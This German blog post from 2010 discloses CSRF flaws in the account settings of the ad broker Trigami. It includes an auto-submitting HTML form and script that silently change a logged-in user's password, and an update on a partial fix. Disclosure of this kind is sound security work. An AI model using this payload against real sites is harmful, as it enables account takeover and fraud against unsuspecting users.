Trigami kann angegriffen werden

16.06.2010 yahe legacy security thoughts

Heute geht es einmal um den Werbevermittlungsdienst "Trigami", in deren Nutzereinstellungsseiten sich mehrere "CSRF"-Lücken (Cross-Site Request Forgery) befinden. Das Problem ist hier vor allem, dass Trigami inaktive Nutzer nicht automatisch ausloggt. So ist die Wahrscheinlichkeit hoch, dass Trigami-Nutzer unbedarft in die Falle laufen könnten. Wenn man sich z.B. den Quelltext für das Ändern des Loginpassworts anguckt, sieht man dort folgenden Quelltext:

<form method='POST' action='/'>
  <input type='hidden' name='DO' value='changePassword'>
  <table width='100%'>
    <th colspan="2">Passwort ändern</th>
    <tr><td width='30%'>Neues Passwort</td><td><input type='password' name='newPassword' size=30></td></tr>
    <tr class='alt'><td>Neues Passwort bestätigen</td><td><input type='password' name='newPassword2' size=30></td></tr>
    <tr class='trlastrow'><td></td><td><input class='submit' type='submit' value='Neues Passwort speichern'></td></tr>
  </table>
</form>

Wie wir sehen, gibt es kein CSRF-Token, mit dem der Vorgang vor Angriffen geschützt wird. Auch das aktuelle Passwort wird nicht zur Sicherheit abgefragt. Dadurch reicht solch einfacher Quelltext, um das Passwort eines eingeloggten Trigami-Nutzers zu ändern:

<form method="POST" id="trigamipwd" name="trigamipwd" action="http://www.trigami.com/?DO=showChangePassword">
  <input type="hidden" name="DO" value="changePassword">
  <input type="hidden" name="newPassword" size="30" value="neuesPasswort" />
  <input type="hidden" name="newPassword2" size="30" value="neuesPasswort" />
  <input type="submit" name="submitButton" value="Neues Passwort speichern" />
</form>
<script type="text/javascript">
  document.trigamipwd.submitButton.click();
</script>

Mit Hilfe von iFrames, Popupfenstern oder Ähnlichem würde ein Opfer nicht mal mitbekommen, dass gerade das Passwort geändert wurde. Es bleibt schließlich weiterhin eingeloggt und kann Trigami ungehindert nutzen. Der Angreifer kann sich daher in Seelenruhe einloggen und z.B. die Kontoinformationen für die Abbuchung ändern. Die Wahrscheinlichkeit, dass ein Nutzer diese Informationen regelmäßig überprüft, dürfte recht gering sein.

Der einzige Weg, sich zu schützen, ist, nicht eingeloggt zu sein, wenn man mit dem Browser unterwegs ist.

Update

Wie mir gerade mitgeteilt wurde, muss man nun das alte Passwort eingeben, bevor man das Passwort ändern kann. Das hilft jedoch nur bedingt, da über denselben Angriffsvektor weiterhin die Änderung der Bankdaten möglich ist.

Geänderter Passwortdialog


Search

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)